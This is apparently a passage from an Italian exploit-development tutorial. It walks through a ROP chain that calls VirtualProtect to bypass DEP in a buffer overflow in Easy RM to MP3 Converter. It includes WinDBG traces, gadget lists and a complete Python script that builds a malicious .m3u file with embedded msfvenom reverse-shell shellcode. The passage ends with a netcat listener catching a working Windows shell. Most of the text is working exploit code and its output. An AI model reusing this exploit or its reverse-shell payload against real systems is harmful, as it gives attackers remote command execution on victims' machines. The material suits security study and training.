Vediamo con WinDBG
Breakpoint 0 hit
eax=0011f454 ebx=00124a00 ecx=0011f464 edx=01b30000 esi=41414141 edi=41414141
eip=1002be41 esp=0011f600 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSRMfilter03!Filter_Reset+0x22471:
1002be41 94 xchg eax,esp
0:000> dd eax L7
0011f454 77325c90 0011f5ec 0011f5ec 00000600
0011f464 00000040 1006ad10 90909090
0:000> p
eax=0011f600 ebx=00124a00 ecx=0011f464 edx=01b30000 esi=41414141 edi=41414141
eip=1002be42 esp=0011f454 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSRMfilter03!Filter_Reset+0x22472:
1002be42 c3 ret
0:000> dd esp L7
0011f454 77325c90 0011f5ec 0011f5ec 00000600
0011f464 00000040 1006ad10 90909090
Arrivato qui, mi sono accorto che il puntatore al return address e lpAddress non puntava più vicino allo shellcode ma dopo lo shellcode. Questo è dovuto al fatto che abbiamo aggiunto più gadget del previsto e la chain si è allungata. Il seguente snippet è lo step 7, nel quale abbiamo aggiunto ADD EAX per spostare il puntatore allo shellcode
....
eax=0011f45c ebx=00124a00 ecx=0011f45c edx=01bd0000 esi=41414141 edi=0011f458
eip=75be5de6 esp=0011f534 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
MSVCRT!__p__pctype+0x26:
75be5de6 05c8000000 add eax,0C8h
0:000> p
eax=0011f524 ebx=00124a00 ecx=0011f45c edx=01bd0000 esi=41414141 edi=0011f458
eip=75be5deb esp=0011f534 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200216
MSVCRT!__p__pctype+0x2b:
75be5deb c3 ret
0:000> dd eax
0011f524 771c28ee 774771b2 41414141 75be5de6
0011f534 75be5de6 77189c93 41414141 41414141
0011f544 1002b67d 10025b9c 1002dc4c 41414141
0:000> dd eax+100
0011f624 90909090 90909090 90909090 90909090
0011f634 90909090 90909090 90909090 90909090
0011f644 90909090 90909090 90909090 90909090
0011f654 90909090 90909090 90909090 90909090
0011f664 90909090 90909090 90909090 90909090
0011f674 90909090 90909090 90909090 90909090
0011f684 90909090 90909090 90909090 90909090
0011f694 90909090 90909090 90909090 90909090
....
Per risolvere è sufficente incrementare EAX con i seguenti gadget
0x75be5de6 # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
0x75be5de6 # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
0x75be5de6 # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
0x75be28d8 # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
0x75be28d8 # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
Aggiorno lo script e lo shellcode finale sarà:
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
shellcode = b""
shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"
rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03
#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding
#Salvo ESP in EDI ed EAX
payload += struct.pack("<I",0x77371b2e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] **
payload += struct.pack("<I",0x771cb29a) # MOV EDI,ESI # DEC ECX # RETN 0x0C **
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += struct.pack("<I",0x75bebe2b) # MOV EAX,ESI # POP ESI # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ESI
#jump over VirtualProtect
payload += struct.pack("<I",0x100201a3) # ADD ESP,1C # RETN ** [MSRMfilter03.dll] **
# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90) # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111) # return address
payload += struct.pack('<L', 0x22222222) # lpAddress (same as before)
payload += struct.pack('<L', 0x33333333) # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444) # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10) # pOldProtect (any writeable address)
payload += b"\x90" * 4
#EDI point to return Address
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
#EAX will point to lpAddress
payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
#EAX will point to an address equal or inside NOP sled
#copio EAX in ECX per salvarne il valore
#ECX will point to lpAddress
payload += struct.pack('<L',0x774771b2) # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x75be5de6) # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
payload += struct.pack('<L',0x75be5de6) # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
payload += struct.pack('<L',0x75be5de6) # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop bp
payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop bp
#EAX --> [EDI]
payload += struct.pack("<I",0x77189c93) # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN ** [USER32.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop edi
payload += struct.pack("<I",0x41414141) # padding for pop esi
#EAX -> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
#dwSize
payload += struct.pack("<I",0x10025b9c) # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#aumento ecx di 40 per puntare a dwsize
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
#flNewProtect
payload += struct.pack("<I",0x10025b9c) # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#incremento di 4 ecx
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
#ESP to VirtualProtect
payload += struct.pack("<I",0x100219f9) # MOV EAX,ECX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x1002be41) # XCHG EAX,ESP # RETN ** [MSRMfilter03.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Ci mettiamo in ascolto sulla kali e lanciamo
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 9849
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Easy RM to MP3 Converter>whoami
whoami
desktop-p7jng2j\user
Ammetto che la prima volta che ho studiato questa tecnica ho avuto diversi grattacapi, ma una volta capito bene il funzionamento generico vi assicuro che probabilmente è più semplice della tecnica classica. Tutto si riduce al salvare ESP, saltare il placeholder e giocare con i registri incrementando/decrementando il loro valore per poi sostituirli al puntatore nel placeholder.
Alcune risorse utili: